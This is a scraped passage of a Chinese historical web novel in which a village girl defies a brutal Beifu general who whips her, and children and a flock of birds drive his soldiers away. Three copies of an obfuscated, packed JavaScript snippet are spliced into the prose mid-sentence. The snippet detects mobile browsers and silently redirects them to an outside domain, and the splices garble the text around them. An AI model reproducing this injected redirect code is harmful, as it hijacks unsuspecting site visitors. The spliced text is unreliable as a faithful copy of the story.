“差点上了他的当!这怕根本不是什么征兵,竟让他说的头头是道!” 群情再次激愤,众人吆喝着,一拥而上:“打死他,打死他!” 两拨人马登时搅在一处,冯里正在锄头与棍子间左躲右闪,满面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644025|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦色,抽空揪住一个壮丁,急喝:“快去叫大人,去叫大人!让大人派人来——” 话说一半,一柄锄头就照头敲下,冯里正与那壮丁左支右绌,莫说出去叫人,这般情形,保命都难。 壮丁又格开一根对着冯里正砸来的棍子,扯着嗓子大叫:“冯里正,现在怎么办?再这样下去,咱们真要死在这儿!” 这群人已经疯了!壮丁里已经有好几人受伤流血。任凭事态发展,绝对要出人命。 冯里正却像被定住了,一双木讷的眼珠盯着虚空:“你听……什么声音?” “冯里正,都什么时候了!”壮丁又替他挨了几下锤,顿时眼前金星乱冒,“别发愣了!” “马蹄……是马蹄声!”冯里正眼里精光大盛,“县里来人了!” “县太爷派人来了!”他大喊,“你们还不停手!” “别听他的,这老东西准又在胡扯!” “都没人去通风报信,哪来的人?乡亲们,打死他,不去服徭役! “打死他,不服徭役!” 无数拳脚雨点般落下,冯里正痛嚎着躲避,却只能被围困在这方狭小的天地里,承受着百姓们对这世道入骨的恨意。 谢阿春也想上去补两脚,却被谢平安阻止。 他神色凝重:“有声音……” “什么声音?我只听见那老东西的惨叫——”谢阿春顿了顿,她好像也听见了。 仿佛有人敲山为鼓,震得大地隆隆作响。地面上,细小的砂石开始跳跃,远处的天边,渐渐扬起漫天黄土。 初时,这鼓声还有几分模糊,须臾即如耳边闷雷,夹杂着清脆的鞭打与吆喝声,竟已来到近处。 谢阿春没见过这阵仗,有些发慌:“……那是什么东西?” 谢平安不及开口,身边忽然跑过一个村民,他立刻将人拉住,劝说道:“别过去,有人来了……” 那人根本听不进去,随手将他甩开,抄着榔头就扎进人堆。 谢平安又喊了几声,但在愤怒的海浪里,他的声音太过渺小,激不起一点水花。 他终于放弃,一把拽住谢阿春:“我们回家——” 却已经晚了。 漫天黄土里,先撞出一面赤旗,隶书“北府”二字,迎风招展。紧接着,一匹高大的骏马冲出烟尘,而后是第二、第三…… 谢阿春数不清有多少,那烟尘后仿佛有源源不断的人骑着马飞驰而来,不少村民受到惊吓,下意识要逃,来者却训练有素,左右一分为二,绕成一圈,将村口众人团团包围。 谢阿春与谢平安站在边缘上,只差一点,他们就可以从这个包围圈里出去。 也因此,谢阿春离其中一个骑马的人非常近。 光是马背,都有两个她那么高,她几乎能感到那匹马急速奔跑后散发的热气,也能闻到那股属于牲畜的浓郁味道。 她不由得屏住呼吸,再抬头时,眼神忽被刺痛。 雨不知何时停了,太阳从云里冒出,照在骑马之人的甲胄上,反射出森寒冷光。谢阿春回神时,那握缰的骑兵正低头淡淡看着她。 她后退一步,握紧了谢平安。 17. 第 17 章 村口烟尘渐息,两个骑马的人姗姗来迟。 当先那人一身红袍黑甲,头戴武冠,似乎二十几许,眉眼狭长,下颌尖利,腰背挺直,神色无波,握着缰绳闲庭信步。 胯下骏马尤其高大,通体漆黑无杂色,只四蹄雪白,笼头马鞍俱以金饰,耀眼灼目。 他身后半步,跟着一个文官模样的中年男人,穿青色官袍,方圆脸,白面皮,一笑眼皮堆褶,更显富态,正热络地与那武将模样的人说着什么。 村民们早已不打了,僵硬地站在原地,满眼惶惑。 “咦,尔等怎么都聚在此处?” 那文官见状先是奇怪,继而恍然一笑:“可听了什么风声,知晓今日曹将军驾临本村,特来迎接?” 笑呵呵向旁边一拱手:“手下人办事不利,竟走漏了消息,想来这些百姓,都是仰慕将军,才自发聚在此处夹道相迎……” “我?”那人扬眉,“为何不是欢迎你这父母官?” “曹将军说笑,下官哪里比得上将军赫赫威名。当年将军跟着萧将军南征北战,平城一战大败柔然,如此年轻有为,天下谁人不知?抛开这些不论,如此多年轻俊俏的小娘子聚在这里,不是看将军,难道是为了看我这一把年纪的老头子?” 曹姓武将闻言没说什么,只矜傲地扬起唇角,胯下骏马嘶鸣一声,踏了踏四蹄。 文官还待恭维两句,人群里忽然炸响一通撕心裂肺的嚎哭:“大人,你可算来了!你要为小的做主啊!” 文官不悦:“何人喧哗?” 人堆动了动,渐渐散开一条道,冯里正在地上爬了两步,抬起一张满面青肿,血泪交杂的脸。 文官被他的凄惨模样吓了一跳,认了半晌,不甚确定道:“冯老六?” 冯里正哭丧一般嚎啕着,膝行两步:“是我,大人!小的今日来清溪村征役,他们不乐意,还将小的打成了这样,大人要是再晚来一步,小的怕是要被他们活活打死了!” 这文官正是当今的山阴县令,只见他听后,脸色先青后白,咬牙切齿地低骂:“成事不足败事有余的东西!早不来晚不来,怎么偏今天来!这点小事都干不好——” 身旁人忽然哼笑道:“刘大人,这就是你口中的夹道而迎?” 刘县令立刻扭头,干巴巴地赔笑:“让将军见笑了,都怪下官治下不严,手下尽是些酒囊饭袋,比不上将军麾下的北府精锐?些许小事,竟闹到将军眼前,扰将军雅兴,实乃下官的不是。” 曹将军嗤道:“刘大人一口一个下官,今日实叫人听得耳烦。我不过六品北府校尉,你却是会稽郡治的县令,比寻常县令还高一级,论官品,你比我高,论官职,你我一文一武,也是毫不相干,何必如此 ?” 刘县令额上冒起汗来,讷讷地笑:“是下……是我思虑不周了,曹将军勿怪。” “我行伍出身,粗人一个,不比刘大人通晓诗文,说话直接了些,刘大人多习惯。” “习惯,习惯,”刘县令擦着额角的汗,“没什么不习惯的……” 冯里正在下头见他二人你来我往,浑似要把自己忘了,不由得出声:“大人,清溪村的事……” “住口!”刘县令横眉立目,指着他骂道,“还嫌你添乱不够?此事改日再议,都散——” “刘大人何必急着叫他走,”曹将军忽然出言打断,“我倒有些好奇,到底是什么事?” 刘县令忙道:“此乃下……我分内之事,不敢劳烦将军!将军,大公子明日就要祭祖,我等还是快些上山,先行布置……” “无妨,”曹将军道,“不差这一会儿,自离了洛阳,连日赶路,倒有些乏了,让他说说,权当解闷。” 刘县令还想劝阻,他那边轻勒马缰,已经驱马向前:“你,说来听听。” 冯里正吞吞吐吐,看看他,又看看不发一语,面色愁苦的刘县令,后者狠狠瞪他一眼:“没听见将军的话!” 冯里正忙低下头,把事情从头到尾说了一遍。 冯里正破锣一样的老嗓在村口回响,村民们垂头听着,等他说到聚众围殴一事,纷纷显出几分局促。 曹将军听罢,轻扯马辔,绕着空地中央的村民逡巡。 刚下过雨的泥地满是水坑,马蹄踏过,啪嗒轻响,他离靠边的几人太近,马蹄扬起的泥点,时不时溅到他们脸上、身上。但没人敢动,也没有人敢说话。 许久,他缓缓道:“所以,你们是想逃役?” “大人明鉴,叫人修长城,和送死有什么区别?”一个胆大的女人率先叫道。 “是啊大人,我们都有老有小,这时节又该农忙,就算征役,也得等我们收完粮,不然今年的赋税都交不上。” “就是,大人是京城来的,替我们评评理……” 有一人牵头,其他人也七嘴八舌地抱怨起来。 曹将军唇角勾着,眼里却殊无笑意:“有意思,尔等可知,你们之所以还能在此地聚众闹事,而不至颠沛流离,性命难保,就是因为有人正在北边,干着你们最不想干的事?” “不想送死,不想受苦,若人人都像你们这样想,边关无人守,城墙无人筑,上阵无人打,大燕早就亡了!” “修长城不愿,若要你们加入北府军,杀柔然人,又如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时间,凄厉的哀嚎声叫破天际,跪着的众人听着他们的惨叫,撑地的胳膊抖个不停,只看了一眼,就紧闭双眼,再也不敢偷瞄。方才求饶的那女人,直愣愣看了半晌,直接晕了过去。 空地上的叫声逐渐微弱,等停下来时,几人瘫软在地,已是出气多进气少,土黄的泥水里掺了血红,顺着斜坡向后蜿蜒流淌。 曹将军顺着望去,眼神忽地一凝,盯住了人群后方。 那里还有两人没跪,一个靛蓝衣裳高个子的少年,和一个穿着浅蓝衣裳梳双丫髻的小丫头。 他们站在那里,十分显眼。 18.第 18 章 谢平安从刚才起,就反复拽谢阿春一道跪下,谢阿春却不知怎的又犯起倔脾气,说什么也不愿意。见曹将军看来,谢平安只得先行跪倒,又下死劲儿去拉谢阿春。 谢阿春猛地被他拽倒,磕到的手肘火辣辣地疼,却立刻又爬了起来。 她咬着牙:“我不跪。” 谢平安罕见地急了声色:“阿春,听话!” 谢阿春猛地扬声:“我不跪!他是什么人,凭什么要我跪?” 这掷地有声的一句话,传遍空地各个角落,周围顿时死一样寂静。 曹将军静默片刻,极轻地笑了声:“有点意思。” “你叫什么?” 一直装死的刘县令装不下去了,赶在谢阿春开口前大骂:“哪来的小丫头?你家大人没教你规矩吗!”又对着曹将军赔笑:“将军息怒,乡野小儿粗蛮无礼,不值当跟她置气……” “我问你了?”曹将军眼神像淬过寒冰的利刃,一眼望去,刘县令顿时像被掐了脖子的鸡,脸涨得通红,余下的话都哽在喉咙里。 曹将军紧了紧手里攥的长鞭,轻踢马腹,来到谢阿春近前。 谢平安急忙起身,挡在她身前:“家妹童言无忌,请将军——呃!” 一道劲风挟着锐利的鞭哨声划过,狠狠抽在谢平安身上。谢平安当即歪倒在地,曹将军收回鞭子,拿在手里端详了几眼,有些惋惜:“见血了,沾了你们这些南人的血,这鞭子怕是不能要了。” “谢平安!”谢阿春想去扶他。 “拦住她。” 左右应声闪出两名骑马的将士,像两堵山一样挡在她面前。 谢阿春只能看到谢平安趴在地上,艰难地想要起身,瘦弱的脊背上,凸起的蝴蝶骨震颤着,衣服上渐渐渗出刺眼的血迹。 眼前一暗,曹将军骑着马来到她面前。 他低下头,像看一只蝼蚁,漆黑的眼睛里并没有映出她小小的身影。 “你很有胆量,”曹将军道,“你好像对我很不满。” 谢阿春心脏快要跳出胸腔,她分不清这是面临危险的警惕,还是几乎难以遏制的恨意,只能把指甲用力陷进手心。 “要是你真有你说的那么关心天下,你这时候应该在边关,而不是在这里!” 谢阿春一字一句道:“如果北府军真的那么有本事,也应该早把柔然人赶回北边,而不是缩头乌龟似的躲在城里,靠修长城来逃避打仗!你以为自己多正义,其实这么多人里,就你最虚伪!” 曹将军脸色十分难看,半晌他忽然笑了,眼里像烧着一团漆黑的暗火。 “我最讨厌你这样小孩,仗着年纪小,就到处乱讲话,总以为做点和旁人不一样的事,就能显得自己与众不同。可难道没人教过你,出风头是要有代价的?付不起代价的时候,你出的风头,只会害了你和你身边的人。” “既然你疏于管教,今天我就来教教你。” 曹将军盯着谢阿春:“看在你小的份上,我不为难你,十鞭,你要都能躲开,我既往不咎。” 谢平安不知从哪里来的力气,闻言立刻踉跄起身:“将军!请饶过家妹,我可以代她——”还没靠近,就被左右将士强硬按倒。 曹将军嘴角咧起一个笑:“小丫头,收神,开始了!” 话音未落,鞭子像一道闪电当空劈下,谢阿春险险避开,还未喘息,第二鞭势如雷霆,紧跟而至,她就地一滚,狼狈躲掉。 “好身手!”曹将军赞了一声,继而纵马追在她身后,“第三鞭来了!” 这一鞭从右边卷向她胳膊,谢阿春正要避让,那鞭影中途陡然一转,袭向她小腿,谢阿春猝不及防摔在泥地里。 她撑地起身,抹去眼前沾的泥点,滚满污泥的衣裳却更加沉重。 “第四鞭!”催命般的声音再度响起,丝毫不给她喘息的机会。 仿佛猎人逗弄猎物,曹将军始终不远不近地缀在她身后,将她在包围圈里驱赶得东逃西窜,不时抽打出清脆的鞭声。 “跑啊!跑啊!!”曹将军打着呼哨,兴奋地大笑,“还有三鞭!” 谢阿春身上却已经挂了两道彩,小腿一处,胳膊一处,伤口被湿透的衣服一浸,又疼又痒。她跑得太久,汗水雨一样往下流,愤怒与疲惫都像一团火,烧得她喉咙又干又痛。她喘着粗气,忽然被地上一块石头绊住,往前扑倒。 曹将军勒住马缰,居高临下看她,似笑非笑道:“跑呀,怎么不跑了?” 谢阿春努力了几次,都没能再爬起来,她想摸弹弓,却发现腰间空空荡荡,弹弓不知掉到了哪里。 她翻了个身,仰躺在地上,死死地盯着他。 曹将军并没有从她的眼里看到如自己所料的求饶与恐惧,嘴角的弧度不由得低了些。 他冷冷道:“小丫头,人活在世上,得学会低头。宁为玉碎不为瓦全,可都是些蠢人才干的事。你想学那目中无人的狂妄,也得先问问自己,有没有那个本事?” “这三鞭,就当我教你这为人处世的道理,若你将来因此飞黄腾达,可千万记得谢我。” 他轻蔑地勾起唇角,活动了一下手腕,高高扬起长鞭—— 突然,什么东西打在了他的肩膀上,力道很微弱,几乎像挠痒痒。 曹将军愣了愣,低头只见一枚小石头掉在水坑里。 不远处传来窸窸窣窣的说话声。 一个男孩轻声埋怨:“不是让你打他脑袋吗,你怎么打歪那么多?” 一个女孩不悦道:“够可以了,你以为我是阿春吗?” “嘘,小声点……等等,他、他是不是看到我们了?” 谢阿春循着声音望去,只见不远处的村口大榕树上,依稀蹲着两个人影。 她认出了二人,有些不可置信:“小花、小叶?”这两个人,正是当日夸赞谢平安温柔又好看的那两个。 小花听到了,从树里探出个脑袋,激动道:“阿春!我们来救你了!你别怕!” 小叶急道:“你小点声呀,啊啊那个人看过来了!” 曹将军嘴角抽动一下,这鞭子突然就抽不下去了,他还没收手,突然又一颗石子打了过来,正中他脑门。 “打中了!”小花惊呼一声,“我真厉害。” 曹将军忍无可忍,喝道:“愣着干什么!还不去把他们弄下来!” 两个将士立刻上前,却没有趁手的工具,只得弃马往上爬。 小花最先被抓到,她伸腿往下踹,一边踹一边嚎:“你们还等啥啊,快点啊!” 就在她说完,四周忽然响起呲呲声,仿佛有什么被点燃,不等谢阿春想明白,只见几条裹着红纸的鞭炮从田垄里飞出,落在马堆里,噼里啪啦炸开! 陌生的动静顿时在马群里引发混乱,众马纷纷扬起前蹄,无序地嘶鸣后退,即便这些将士都是老手,也有不少被甩落马下。 所有人的注意都在失控的马上,没人发现呛人的烟尘里,又有一批矮小的身影接近,手里捧了些东西,霍地往地上一泼。 那些东西仿佛长了脚,顺着缓坡滴溜溜往下滑,竟是满地的黄豆! 受惊的马蹄踩上去,一不留神就打滑,越发难以掌握。 曹将军额角青筋直跳:“这都是些什么东西?给我看好自己的马!收拢阵型,收拢!” 一串接一串鞭炮不要钱似的往里丢,趁此机会,地上跪着的村民都插空往外逃,等曹将军回看地上,谢阿春也不知去向。 他举目四顾,尽是浓烟,久经沙场的直觉却下意识让他觉得不对劲。 耳后忽然生风,他侧身一闪,避开一根戳向他后颈的长棍。 谢阿春一击没中,抽身就想往烟雾里躲。 曹将军气笑了,咬牙切齿道:“臭丫头!” 一鞭子甩出,灵蛇一样绕棍而上,紧紧咬住棍身,谢阿春往回抽了抽,纹丝不动。 她抬头,对上曹将军怒气盈满的眼睛,忽然咧嘴一笑。 曹将军面露疑色,继而陡变,再要抽手已来不及,又一根棍子从他身后窜出,正正打在他后脑勺。 曹将军身形晃了晃,沙场锤炼出的身体却没这么轻易倒下,他抽出马鞍上挂的长刀,反手一挥,逼退了身后来人。 刀光雪亮,险险擦过身后人的黑衣,谢阿春还是惊了一跳:“李铁柱!” 李铁柱趔趄两步,拄着长棍站稳,眼神满是憎恶:“你居然对着普通百姓抽刀,萧将军创立北府军定下的规矩,你都忘了!你怎么配做北府军将领?” 曹将军嗤地一笑:“你又是哪里冒出来的穷小子,我配不配领北府军,还轮不到你来多嘴!” 他蓦地往回一抽长鞭,谢阿春没防备,被他拽到近前,干脆借力一踩马腹,蹬着马鞍一跃而起,右手直插他双眼! 曹将军偏头一闪,执鞭的手变握为拳,一拳打在谢阿春肚子上。 谢阿春几乎被他打飞出去,却硬生生扒夹住了马腹,积攒的怒意上头,干脆以头为锤,嘭地砸上他脑门! 曹将军短时间里被敲了两次脑袋,不怒反笑,像是终于被这种小孩把戏激怒,手中长刀微动,一串鞭炮却在这时扔到了他马下。 马匹受惊,疯狂甩头跳跃,谢阿春被甩到马下,五脏六腑移位一样的痛。没等她缓过来,曹将军的那匹发疯的马忽然扬起前蹄,眼看着就要踩下来。 谢阿春向右一滚,马蹄擦着她的肩膀重重砸进地上,她撑着棍子起身,还想再偷袭,却腰上一紧,被人提起来。 曹将军揪着她的领子,气急败坏道:“臭丫头,你没完了是吗?” 他手勒得紧,谢阿春呼吸不上来,一双眼睛却明亮地直视着他:“你欺负大伙……咳咳……这事儿就没完!” 曹将军:“我最讨厌你们这种人……一个小孩,一个小孩而已,也想学别人当什么英雄?”他放声大笑,神情阴狠,“本来只想给你个教训,但你既然这么爱找死,我成全你。” 他握刀的手一抬,忽被斜刺里一根棍子拦下,李铁柱高喊:“放开她!” 一刀一棍来回格挡,李铁柱两手持棍,将刀刃用力按下,曹将军抽了一下,竟没抽动,不由微微挑眉:“可以,练过?” 李铁柱额头都是汗,下颌绷紧,手臂的肌肉鼓胀,持棍的手明显颤抖,反观曹将军,一手仍提着谢阿春,持刀的手不动如山。 “可惜还是太嫩了。”曹将军猛地挑飞他的棍子,一脚踹在他胸口,李铁柱破布一样飞出去,撞到人群,捂着胸口咳出一口血。 “到你了。”曹将军冷冷回头,看向谢阿春。 但即便到这种时候,他依然没有从谢阿春眼里看到一丝畏惧。这双眼睛让他想起一个人,一个到死都神色从容,可恨至极的人。 “你为什么不害怕?”他眼神如冰,掐着谢阿春的脖子又紧了紧,“和我求饶,我饶你一命。” “想……都别想!”谢阿春咳嗽着,眼前都有些发花,“我长这么大,从不和人低头!以后也不会——” 曹将军诡谲地笑了,狭长的眼里仿佛淬了毒:“不低头?你凭什么不低头?人外有人天外有天,王侯将相都有与人低头下跪的时候,你不低头,是想当皇帝?” 他蓦地大笑:“如当今皇帝,也有与人低头的时候!这是命数,是天理!你一个黄毛小儿,凭什么说不低头!” 谢阿春太久喘不上气,喉咙腥甜,她死死抠住脖子上的手,艰难道:“我不认命……” 她声音实在太小,曹将军道:“你说什么?” 谢阿春用力抓着他的手指,搜刮尽全身仅剩的力气,一丝一毫,一寸一厘,竟当真把他的手拉开了一道缝隙,雨后带着腥气的泥土气息涌入胸腔,也带回了她的声音:“我说,我不认命——” 这声嘶力竭的一句仿佛插上双翅,化作青鸟,直入万里晴霄。 远处的会稽山惊起几只飞鸟,山林好似都为这句话震动。 曹将军眼神阴鸷,再不多言,砰地将她撂到马下,长刀铮鸣,雪亮的利刃指在她喉间。 “阿春!”谢平安的声音焦急响起。 曹将军回头一瞧,烟尘已不知何时散了,村民们抱着各自的孩子,聚在一起,俱都望着这边。 形势一转,他与部下竟成了那个被包围在其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650325|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的瓮中之鳖。 谢平安似想上前,却又忌惮他架在谢阿春脖子上近在咫尺的刀,一时进退维谷。 曹将军锐利的眸光一扫众人,村民们慑于他的余威,不少都后退一步。 脖子后却忽然被什么东西砸了一下,没有痛感,只有一片黏腻,他皱眉一摸,只见满手……蛋清? “啪!”又一枚鸡蛋朝他扔来,正中他脸。 “放开阿春!”小花嚷着。 小叶在她旁边,也跟着丢了一个鸡蛋:“放开阿春!” 小豆丁跟在大人身边,也捡起地上一枚石头扔过去:“放开阿春姐姐!” 谢阿春躺在地上,望了一圈,竟然看到许多熟面孔。有过去她喜欢多管闲事帮过的小孩儿,居然还有赵小宝等人。 他们有鸡蛋扔鸡蛋,没鸡蛋扔石头,齐声喊着放了她。 有一个眼熟的东西从人群里飞出来,砸到曹将军盔甲上,又掉在她旁边,是一个蹴鞠。 人群里,王二丫抿着唇,又掏出怀里一个玩具,远远地往曹将军身上扔。 曹将军脸上满是黄黄白白的鸡蛋液,配上那张黑如锅底的脸,直似要炒鸡蛋,他气得胸口起伏,握刀的手都发抖,不时拿胳膊挡着小孩儿们扔来的乱七八糟的东西。 “将军……”刘县令拖着肥硕的身躯,小步快跑着走近,“此事不宜闹大,为大公子筹备祭祖要紧,不如咱们先、先撤吧……” 曹将军牙齿磨得咯吱作响,从军多年,他何曾受过这样的憋屈! “将军,有东西来了!”一名将士喊道。 众人都随着这句话抬头,只见会稽山边,一片黑压压的东西朝这边迅速移动。 “那是……云吗?” 它确实像浓云一样遮天蔽日,飞过太阳下时,世间都为之一暗,却又比云更快,像北府军的骏马一般,初看尚在山边,近看已在眼前。 随之而来的,是铺天盖地叽叽喳喳的声响,人们这才看清,那哪里是云,分明是成千上万只挥着翅膀的鸟! 群鸟飞到村口上空,猛地扎下,早有目标一般,掠过清溪村众人,直直啄向北府军众人,连马也没放过。 马身有马鞍,眼睛却没有遮蔽,人也一样。鸟儿们尖利的喙专盯眼睛啄,加上它们数量庞大,根本难以防御。 不多时,北府军众人就连连传出痛呼。 曹将军身边围的鸟最多,他挥着刀想驱赶,但鸟儿敏捷,连根毛儿都伤不着,很快他露在盔甲外的脸和手臂,被尖嘴利爪划得尽是伤口。 “将军,我们撤吧!” 曹将军恨恨挥开一只鸟,另一只又扑了上来,座下的马也开始不听使唤地颠簸,想把鸟甩掉,险些没把他甩出去。 曹将军忙勒紧马缰,终于不甘不愿地下令:“撤!” 北府军众人缓缓往村外撤去,神奇的是,等他们撤出村外一段距离,那些鸟也不再追了。 它们扑扇着翅膀,静静落在村口树上、田垄上、还有人群中间。一双双黑豆似的眼睛望着北府军,好像守卫一般。 谢阿春身边落了许多的鸟,她呆愣地撑起身,伸出手试探着摸向其中一只小黄鹂:“是你?”这只黄鹂鸟,那天她在窗棂边见到过。 小黄鹂啾啾叫了两声,这次没躲,歪着小脑袋,毛茸茸地在她指腹上蹭了蹭。 她看到了许多只熟面孔,这些鸟,大多数来自村南那片她常去的树林,却不知为何会来到这里,还帮了他们。 “阿春!”一群小伙伴们争先恐后地涌上来,七手八脚地把她从地上拽起来。 “你没事吧?幸好铁柱哥聪明,想到让我们拿炮竹吓马!” “我也很聪明啊,不是我想的洒豆子让马踩滑?” “你算了吧,等会儿都得陪着你一个个把豆子捡回来,不然我娘非得打我……” “他们抓走我爹时我都吓死了,但我想着阿春总帮我,我不能看着你被那坏蛋抓走啥也不做。” “我胆子小,不敢点鞭炮,也不敢去洒豆子,还是二丫说的,我们可以朝他扔鸡蛋,可惜家里没臭的……” “总之阿春没事就好!也是轮到我们保护你了,嘿嘿,谢倒不用,把你的弹弓给我玩玩吧?” 谢阿春眼睛热热的,她抹了把眼睛,不想这时候出丑,小花却指着她笑起来:“你脸都花啦!” 谢阿春没绷住,也跟着笑起来。 忽然,有人递来一把弹弓。 李铁柱嘴角还有血,神色却很平静,他又往前递了递:“地上捡到,像你的。” 谢阿春接过,弹弓已经被人擦过了,还带着暖暖的热度,她抬头看着他:“谢谢。” 李铁柱哼了一声,没多说什么,扭头走了。 小孩子们还在兴奋地讨论这次壮举,谢阿春越过他们望向人群外,谢平安站在那里静静望着她,对上她视线,温柔地勾起一个笑。 北府军众人整顿好队形,准备绕路上山,鸟儿们重新振翅,迎着渐落的夕阳,向会稽山归巢。 刘县令骑在马上,对着马下跟着的冯里正数落着征役的事:“你也知道清溪村向来是硬茬,下回来,多带些人……” 冯里正点头如捣蒜。 曹将军面沉如水,依旧挺直腰背坐在马上,只是形容与来时判若两人的狼狈。 忽然,他听到身后传来脚步声,有个声音遥遥地喊:“喂!姓曹的,你叫什么名字,速速报上来!免得我日后想报仇,找不到仇家!” 刘县令急急勒马,一个头两个大:“这小丫头怎么又来——” 曹将军回头,只见谢阿春立在村口,身后跟着谢平安和一众村民。 他嗤地一笑:“行不更名坐不改姓,曹远是也,小丫头,我就在洛阳,等着你来报仇,君子报仇十年不晚,你虽不是君子,我也不妨与你定这十年之约,十年之后,你可别不敢来。” 说完便纵马向前,一刻也不想继续呆下去似的。 谢阿春双手拢在嘴边,中气十足地喊:“要不了十年!曹远,你给我记着——” “早晚有一天,我要你亲自,跪下和我道歉!” 19.第 19 章 谢阿春在家歇了几天,那日体力消耗太大,她躺了三天才缓过来。谢平安那一鞭子伤的重,也得静养,等两人都好的差不多,端午早过了。谢平安答应她去城里看龙舟的事自然也没了下文。 村里人过后谈起这事儿,也是难掩愁绪,料想冯里正不会就此善罢甘休,肯定还要再来。硬碰硬已经行不通,不少人于是开始凑钱,到底还是想走花钱免役的路子,只是这钱多数人都付不起,一连几日,村里气氛都有些沉重。 谢平安这次没再瞒谢阿春,想瞒也瞒不住。只是他伤还没好,谢阿春也没拉着他说凑钱的事,只是自己独处时,难免胡思乱想。 这日中午,谢阿春在院里喂兔子。 点点的后腿这阵子已经养好,每日里吃喝不愁,瞧着还胖了一圈,白毛在日头下仿佛会发光。 谢阿春喂着兔子,忽然听见陶清远的声音在喊她。 她一回头,只见陶家的马车停在院外,陶清远急急忙忙下来,冲进院里。一见她,陶清远眼睛就红了,拉着她的手,上看下看,“阿春,你伤好了吗?我娘亲前两日病了,府里一直在忙,才听说这件事……他们有没有再来为难你?” 谢阿春摇摇头:“小伤,已经好了。” 陶清远听了眼睛更红了,好像受伤的是他一样,他从袖子里掏出一个小瓷瓶,塞进她手心:“这药膏专门治外伤,碧云姑姑说买的是城里回春堂最好的,你拿着。” 谢阿春承了他的好意,道谢收下,陶清远甜甜一笑,颊边酒窝隐隐:“你和我不用客气呀……”看到兔子,微微一讶,“你新养的兔子吗?长得好特别!” 点大人动了动有黑色胎记的长耳朵,聊做赞许。 谢阿春摸了摸它的后背:“它叫点点,你可以摸摸它……” 两人正说着话,堂屋门被人打开,谢平安走了出来。见到陶清远,他温声道:“小清远来了,快到中午,今天要不要在这儿吃饭?” 他脸色还有着重伤初愈的苍白,神色也有几分疲惫,眼神却还是温和带笑。 陶清远忙起身,先像模像样地行礼,问“阿春哥哥”好,才道:“今天就不了,我娘还病着,我只能出来一会儿,马上就要走。” 谢平安点点头,又问:“邓夫人的病可要紧?家中现在没什么能用得上的东西,若是缺什么稀奇药材,可以跟我讲,我上山去找找……” 陶清远忙摆手,连道不用,道娘亲病得不重,劳他关心云云。 说完,手捏着腰边挂的香囊,有些局促地看看谢阿春,又偷偷看看他。 谢阿春也不知道说啥,只好再给兔子喂一片菜叶。 谢平安似乎也察觉自己的出现有些打扰小孩子们的愉快交流,笑了笑,说了两句让他们好好玩之类的话,重又进了屋。 陶清远终于松了口气,谢阿春只顾着喂兔子,两人都没抬头,自然也没发现,他们挨着的床边好像站了个人影。 陶清远蹲在谢阿春身边,也学她喂兔子,忽然一拍脑袋:“差点忘了!” 陶清远从怀里变戏法似的掏出一个锦袋,献宝似的递到她跟前:“我带了梅干!上回瞧你喜欢吃,我就让他们又做了些,你尝尝,这回加了更多蜂蜜,更甜啦!” 谢阿春没说话,只是摇了摇头,陶清远有些不安地举着装梅干的袋子,看出她兴致不高:“你怎么了?” 谢阿春低头看着点点啃菜叶,本来不想说话,但一抬头,望见陶清远清澈眼瞳里的关切,叹道:“我在担心……那些人现在走了,过阵子肯定又来。” 陶清远也皱起脸:“是哦……” “就不能给他点钱吗?我记得我娘说,世上的事没有钱解决不了的,如果不能解决,一定是给的还不够!” 谢阿春撇撇嘴:“你能想到,大家伙都想到了,但你以为那些钱是那么好凑的吗?” 陶清远一脸懵懂,谢阿春一阵沉默,心道陶清远可能确实不知道什么叫缺钱。 陶清远冥思苦想,突然眼神一亮,掏出一个荷包,神情郑重地递给她:“这些是我的零用钱,你看够不够。” 谢阿春扑哧一笑,陶清远以为她觉得不够,着急道:“要是不够,我再去找我娘要——” “不是够不够的事情啦,”谢阿春无奈道,“邓姨帮了我们许多,总不能让老让你家出钱。” 陶清远双眼迅速失去神采,垂头丧气道:“你怎么这样和我见外……” 谢阿春有些好笑:“我们本来也不是一家人啊。” 陶清远更低落了:“怎么才能做一家人呢?” 谢阿春逗他:“你喊我几声姐姐,我就认你这个弟弟。” “我——” 谢阿春笑眯眯等着。 陶清远直勾勾看着她,蓦地把头一低,鼓着小脸,任凭她再说什么,都不说话了。 又过片刻,外头仆人开始喊陶清远,陶清远站起身,不由分说把荷包塞给她,转头就跑了。 “喂,陶清远!”谢阿春追出去,“说了不要就是不要,你自己的东西自己拿好。” 陶清远掀开车帘,就这一会儿,他看着又快哭了。 “你就这么不想和我扯上关系吗?”他咬着唇,控诉道,“我爹过去就都把钱给我娘,我看这样就是一家人了。” 驾马的仆人突然剧烈咳嗽,陶清远疑道:“怎么了?” 仆人憋笑憋的脸色通红,清了清嗓子:“少爷,你还没成亲呢。” 陶清远不懂:“成亲,这和成亲有什么关系?” 谢阿春对此却略懂一点,难得有些尴尬,把荷包隔着车窗一丢,逃也似地走了,没两步后脑勺一痛,被荷包砸了个正着。 谢阿春捂着脑袋,终于发怒:“陶清远!” 陶清远把头一缩,催促道:“快走快走。” 